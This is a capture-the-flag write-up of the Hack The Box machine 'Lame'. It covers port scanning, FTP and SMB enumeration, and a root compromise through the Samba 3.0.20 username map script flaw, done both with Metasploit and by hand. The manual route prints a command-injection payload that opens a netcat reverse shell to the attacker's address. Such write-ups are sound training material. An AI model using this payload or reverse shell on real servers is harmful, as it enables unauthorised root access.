🟢 HTB - Lame
🟢 HTB - Lame
# Reconnaissance
Nmap
nmap detected 5 open TCP ports: 21(FTP), 22(SSH), 139/445(SMB), 3632(distcc)
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PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 63 vsftpd 2.3.4
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.13
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open ssh syn-ack ttl 63 OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBALz4hsc8a2Srq4nlW960qV8xwBG0JC+jI7fWxm5METIJH4tKr/xUTwsTYEYnaZLzcOiy21D3ZvOwYb6AA3765zdgCd2Tgand7F0YD5UtXG7b7fbz99chReivL0SIWEG/E96Ai+pqYMP2WD5KaOJwSIXSUajnU5oWmY5x85sBw+XDAAAAFQDFkMpmdFQTF+oRqaoSNVU7Z+hjSwAAAIBCQxNKzi1TyP+QJIFa3M0oLqCVWI0We/ARtXrzpBOJ/dt0hTJXCeYisKqcdwdtyIn8OUCOyrIjqNuA2QW217oQ6wXpbFh+5AQm8Hl3b6C6o8lX3Ptw+Y4dp0lzfWHwZ/jzHwtuaDQaok7u1f971lEazeJLqfiWrAzoklqSWyDQJAAAAIA1lAD3xWYkeIeHv/R3P9i+XaoI7imFkMuYXCDTq843YU6Td+0mWpllCqAWUV/CQamGgQLtYy5S0ueoks01MoKdOMMhKVwqdr08nvCBdNKjIEd3gH6oBk/YRnjzxlEAYBsvCmM4a0jmhz0oNiRWlc/F+bkUeFKrBx/D2fdfZmhrGg==
| 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAstqnuFMBOZvO3WTEjP4TUdjgWkIVNdTq6kboEDjteOfc65TlI7sRvQBwqAhQjeeyyIk8T55gMDkOD0akSlSXvLDcmcdYfxeIF0ZSuT+nkRhij7XSSA/Oc5QSk3sJ/SInfb78e3anbRHpmkJcVgETJ5WhKObUNf1AKZW++4Xlc63M4KI5cjvMMIPEVOyR3AKmI78Fo3HJjYucg87JjLeC66I7+dlEYX6zT8i1XYwa/L1vZ3qSJISGVu8kRPikMv/cNSvki4j+qDYyZ2E5497W87+Ed46/8P42LNGoOV8OcX/ro6pAcbEPUdUEfkJrqi2YXbhvwIJ0gFMb6wfe5cnQew==
139/tcp open netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn syn-ack ttl 63 Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open distccd syn-ack ttl 63 distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_smb2-security-mode: Couldn't establish a SMBv2 connection.
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2025-01-12T11:31:49-05:00
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 59488/tcp): CLEAN (Timeout)
| Check 2 (port 59097/tcp): CLEAN (Timeout)
| Check 3 (port 40169/udp): CLEAN (Timeout)
| Check 4 (port 35754/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 2h30m21s, deviation: 3h32m11s, median: 18s
When we check the OpenSSH version, we can deduce that it is an outdated operating system. (Ubuntu hardy 8.04)
# Enumeration
21 - FTP
Anonymous Login
Anonymous login is enabled, so I logged in, but the directory is empty.
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root@kali:~/HTB/lame# ftp 10.10.10.3
Connected to 10.10.10.3.
220 (vsFTPd 2.3.4)
Name (10.10.10.3:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
vsftpd 2.3.4 Exploit
It’s the well-known vsFTPd 2.3.4 version. This version has a backdoor, and we can execute system commands on the target using the exploit. However, exploit doesn’t work on this machine.
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root@kali:~/HTB/lame# searchsploit vsftpd 2.3.4
---------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------- ---------------------------------
vsftpd 2.3.4 - Backdoor Command Execution | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | unix/remote/17491.rb
---------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
root@kali:~/HTB/lame#
445 - SMB
When I check the SMB version, I notice a critical vulnerability.
We can use searchsploit for this, basically.
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root@kali:~/HTB/lame# searchsploit samba 3.0.20
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass | multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit) | unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC) | linux_x86/dos/36741.py
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
root@kali:~/HTB/lame#
We can use smbmap to view the shares and permissions.
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root@kali:~/HTB/lame# smbmap -H 10.10.10.3
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)
[+] IP: 10.10.10.3:445 Name: 10.10.10.3 Status: Authenticated
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
tmp READ, WRITE oh noes!
opt NO ACCESS
IPC$ NO ACCESS IPC Service (lame server (Samba 3.0.20-Debian))
ADMIN$ NO ACCESS IPC Service (lame server (Samba 3.0.20-Debian))
root@kali:~/HTB/lame#
By using smbclient, login to tmp disk as anonymous
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root@kali:~/HTB/lame# smbclient -N //10.10.10.3/tmp
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Mon Jan 13 11:11:35 2025
.. DR 0 Sat Oct 31 07:33:58 2020
.ICE-unix DH 0 Sun Jan 12 16:21:36 2025
vmware-root DR 0 Sun Jan 12 16:22:01 2025
ujaopj N 0 Mon Jan 13 10:39:29 2025
.X11-unix DH 0 Sun Jan 12 16:22:02 2025
.X0-lock HR 11 Sun Jan 12 16:22:02 2025
5573.jsvc_up R 0 Sun Jan 12 16:22:39 2025
vgauthsvclog.txt.0 R 1600 Sun Jan 12 16:21:34 2025
7282168 blocks of size 1024. 5386472 blocks available
smb: \>
There is nothing important in here
# Foothold: Shell as root
With Metasploit
Just find the module and set information. Then run.
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msf6 exploit(multi/samba/usermap_script) > set RHOSTS 10.10.10.3
RHOSTS => 10.10.10.3
msf6 exploit(multi/samba/usermap_script) > set LHOST 10.10.14.13
LHOST => 10.10.14.13
msf6 exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 10.10.14.13:4444
[*] Command shell session 1 opened (10.10.14.13:4444 -> 10.10.10.3:60882) at 2025-01-13 08:20:01 +0000
id
uid=0(root) gid=0(root)
Without Metasploit
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root@kali:~/HTB/lame# smbclient -N //10.10.10.3/tmp
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> logon "/=`nohup nc -e /bin/sh 10.10.14.13 1213`"
Password: [ENTER]
After anonymous login, I’m using logon command for change user session.
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root@kali:~/HTB/lame# nc -lnvp 1213
listening on [any] 1213 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.10.3] 56046
id
uid=0(root) gid=0(root)
We got reverse shell as root.
This post is licensed under CC BY 4.0 by the author.